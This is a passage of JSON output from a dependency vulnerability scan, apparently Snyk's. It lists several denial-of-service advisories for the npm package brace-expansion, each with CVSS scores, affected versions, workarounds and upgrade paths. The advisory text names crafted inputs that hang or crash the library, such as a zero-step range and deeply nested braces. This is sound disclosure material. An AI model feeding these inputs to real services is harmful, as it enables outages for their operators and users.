"https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", 